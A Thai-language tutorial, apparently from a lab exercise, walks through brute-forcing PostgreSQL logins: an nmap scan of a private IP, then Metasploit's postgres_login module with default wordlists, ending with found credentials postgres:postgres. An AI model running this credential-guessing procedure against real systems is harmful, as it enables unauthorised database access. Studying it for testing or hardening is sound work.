บทนำ (Overview)
“PostgreSQL” เป็นระบบจัดการฐานข้อมูลชนิดหนึ่ง โดยปกติให้บริการอยู่ “Port” หมายเลข “5432” ในบทความนี้จะนำเสนอวิธีการ “Brute-force” รหัสผ่าน โดยความสำเร็จจะขึ้นอยู่กับการทราบ “Username” และชื่อ “Database” รวมถึง “Wordlist” ของ Password ด้วย แต่โดยปกติแล้วชื่อต่าง ๆ นั้นจะมีตัว Default ที่ติดมาตั้งแต่การ installation เราลองใช้จุดนี้เพื่อค้นหาบัญชีผู้ใช้เพื่อเข้าถึง “PostgreSQL”
ขั้นตอน (Steps)
- ค้นหา “Port” ของ “PostgreSQL” โดยใช้คำสั่งดังนี้
nmap -sS -sV 192.168.1.58
- จากผลลัพธ์ข้างต้นเราจะพบ “Port” หมายเลข 5432 เปิดอยู่ “5432/tcp open postgresql PostgreSQL DB 8.3.0 – 8.3.7”
- เรียกใช้งาน “Metasploit” และค้นหา “Module” ที่เกี่ยวกับ “Postgres”
msfconsole search postgresql
- เราจะพบผลการค้นหาดังนี้
Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/http/manageengine_pmp_privesc 2014-11-08 normal ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal Ruby on Rails Devise Authentication Password Reset auxiliary/admin/postgres/postgres_readfile normal PostgreSQL Server Generic Query auxiliary/admin/postgres/postgres_sql normal PostgreSQL Server Generic Query auxiliary/scanner/postgres/postgres_dbname_flag_injection normal PostgreSQL Database Name Command Line Flag Injection auxiliary/scanner/postgres/postgres_login normal PostgreSQL Login Utility auxiliary/scanner/postgres/postgres_version normal PostgreSQL Version Probe auxiliary/server/capture/postgresql normal Authentication Capture: PostgreSQL exploit/linux/postgres/postgres_payload 2007-06-05 excellent PostgreSQL for Linux Payload Execution exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection exploit/windows/postgres/postgres_payload 2009-04-10 excellent PostgreSQL for Microsoft Windows Payload Execution post/linux/gather/enum_users_history normal Linux Gather User History
- เราจะเลือกใช้ “postgres_login” สำหรับการ “Brute-force”
use auxiliary/scanner/postgres/postgres_login
- จากนั้นให้เราตรวจสอบ “options” ที่จำเป็นต้องตั้งค่า
คำสั่งshow options
ผลลัพธ์
Module options (auxiliary/scanner/postgres/postgres_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DATABASE template1 yes The database to authenticate against DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list PASSWORD no A specific password to authenticate with PASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line Proxies no A proxy chain of format type:host:port[,type:host:port][...] RETURN_ROWSET true no Set to true to see query result sets RHOSTS yes The target address range or CIDR identifier RPORT 5432 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME postgres no A specific username to authenticate as USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt no File containing users, one per line VERBOSE true yes Whether to print output for all attempts
- จะเห็นว่าค่าของ “PASS_FILE” “USERPASS_FILE” “USER_FILE” ระบบได้จัดเตรียมเอาไว้เรียบร้อยแล้ว และเป็นไฟล์ “Text” ธรรมดาซึ่งเราก็สามารถเรียกใช้ได้กับโปรแกรม “Brute-force” อื่น ๆ
- ที่นี้เรามาตั้งค่าอื่น ๆ กัน
//ให้เดารหัสผ่านที่เป็น ว่าง ด้วย set BLANK_PASSWORDS true //อาจจะเป็น template1 หรือ template0 หรือ postgres set DATABASE template1 //หยุดทันทีเมื่อพบรหัสผ่าน set STOP_ON_SUCCESS true //IP เป้าหมาย set RHOSTS 192.168.1.58 //เพื่อให้ทราบถึง Status การทำงาน set verbose true
- ตรวจสอบ “options” ที่ตั้งไว้อีกครั้ง
- ใช้คำสั่ง “Run” เพื่อ “Brute-force”
run
- เราสามารถพบรหัสผ่านของ “username” ดังนี้ “postgres:postgres@template1”